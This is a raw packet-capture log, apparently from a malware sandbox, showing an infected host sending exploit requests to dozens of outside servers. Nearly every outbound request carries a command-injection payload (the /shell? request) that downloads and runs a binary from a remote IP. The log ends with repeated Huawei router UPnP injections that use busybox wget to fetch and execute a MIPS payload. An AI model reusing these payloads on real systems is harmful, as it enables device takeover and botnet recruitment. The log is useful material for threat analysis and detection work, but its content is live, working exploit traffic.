Mar 13, 2024 09:36:16.233093977 CET	1286	IN	HTTP/1.1 400 Bad Request Server: squid/3.5.20 Mime-Version: 1.0 Date: Wed, 13 Mar 2024 09:03:51 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3536 X-Squid-Error: ERR_INVALID_URL 0 Connection: close Data Raw: 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 36 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 36 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2f 73 71 75 69 64 2d 69 6e 74 65 72 6e 61 6c 2d 73 74 61 74 69 63 2f 69 63 6f 6e 73 2f 53 4e 2e 70 6e 67 27 29 20 Data Ascii: <html><head><meta type="copyright" content="Copyright (C) 1996-2016 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2016 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area */#titles {margin-left: 15px;padding: 10px;padding-left: 100px;background: url('/squid-internal-static/icons/SN.png')
Mar 13, 2024 09:36:16.233150005 CET	1286	IN	Data Raw: 6e 6f 2d 72 65 70 65 61 74 20 6c 65 66 74 3b 0a 7d 0a 0a 2f 2a 20 69 6e 69 74 69 61 6c 20 74 69 74 6c 65 20 2a 2f 0a 23 74 69 74 6c 65 73 20 68 31 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 23 74 69 74 6c 65 73 20 68 32 20 Data Ascii: no-repeat left;}/* initial title /#titles h1 {color: #000000;}#titles h2 {color: #000000;}/ special event: FTP success page titles /#titles ftpsuccess {background-color:#00ff00;width:100%;}/ Page displayed body content
Mar 13, 2024 09:36:16.233191013 CET	1220	IN	Data Raw: 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 32 3e 0a 3c 2f 64 69 76 3e 0a 3c 68 72 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 54 68 65 20 66 6f 6c 6c 6f 77 Data Ascii: sted URL could not be retrieved</h2></div><hr><div id="content"><p>The following error was encountered while trying to retrieve the URL: <a href="/shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws">/shell?cd+/tmp;rm+-rf+;wget+

Session ID	Source IP	Source Port	Destination IP	Destination Port
203	192.168.2.15	48168	163.28.224.199	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:16.217602015 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:16.528126955 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Wed, 13 Mar 2024 08:36:16 GMT Date: Wed, 13 Mar 2024 08:36:16 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 34 66 30 35 31 63 61 33 26 23 34 36 3b 31 37 31 30 33 31 38 39 37 36 26 23 34 36 3b 31 36 31 36 36 66 37 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.4f051ca3.1710318976.16166f7</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
204	192.168.2.15	60018	64.227.105.141	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:16.224289894 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:16.378525019 CET	320	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Wed, 13 Mar 2024 08:36:16 GMT Content-Type: text/html Content-Length: 153 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
205	192.168.2.15	59258	52.17.238.114	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:16.233635902 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
206	192.168.2.15	33634	54.179.3.83	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:16.257152081 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:16.617842913 CET	400	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Wed, 13 Mar 2024 08:36:16 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+ 94.156.66.36/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
207	192.168.2.15	35224	52.197.56.2	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:16.499221087 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:16.781445026 CET	400	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Wed, 13 Mar 2024 08:36:16 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+ 94.156.66.36/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
208	192.168.2.15	43164	220.133.218.57	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:16.506300926 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
209	192.168.2.15	47620	196.29.227.165	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:16.619266987 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
210	192.168.2.15	58982	120.96.79.253	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:16.700990915 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:18.357841015 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:20.309778929 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:24.213704109 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:32.149559021 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:47.764976978 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
211	192.168.2.15	37368	23.1.60.81	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:17.075900078 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:17.169176102 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Wed, 13 Mar 2024 08:36:17 GMT Date: Wed, 13 Mar 2024 08:36:17 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 35 38 36 62 64 63 31 37 26 23 34 36 3b 31 37 31 30 33 31 38 39 37 37 26 23 34 36 3b 31 37 30 30 65 34 61 66 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.586bdc17.1710318977.1700e4af</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
212	192.168.2.15	49644	66.161.168.153	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:17.093796968 CET	231	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:17.206667900 CET	437	IN	HTTP/1.1 400 Bad Request Date: Wed, 13 Mar 2024 08:36:17 GMT Server: Apache Strict-Transport-Security: max-age=63072000 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
213	192.168.2.15	46112	104.71.51.41	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:17.472861052 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:17.775803089 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Wed, 13 Mar 2024 08:36:17 GMT Date: Wed, 13 Mar 2024 08:36:17 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 37 37 65 62 34 36 36 38 26 23 34 36 3b 31 37 31 30 33 31 38 39 37 37 26 23 34 36 3b 38 62 36 39 66 35 32 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.77eb4668.1710318977.8b69f52</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
214	192.168.2.15	50276	156.254.100.183	37215

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:17.845531940 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 13, 2024 09:36:21.909781933 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 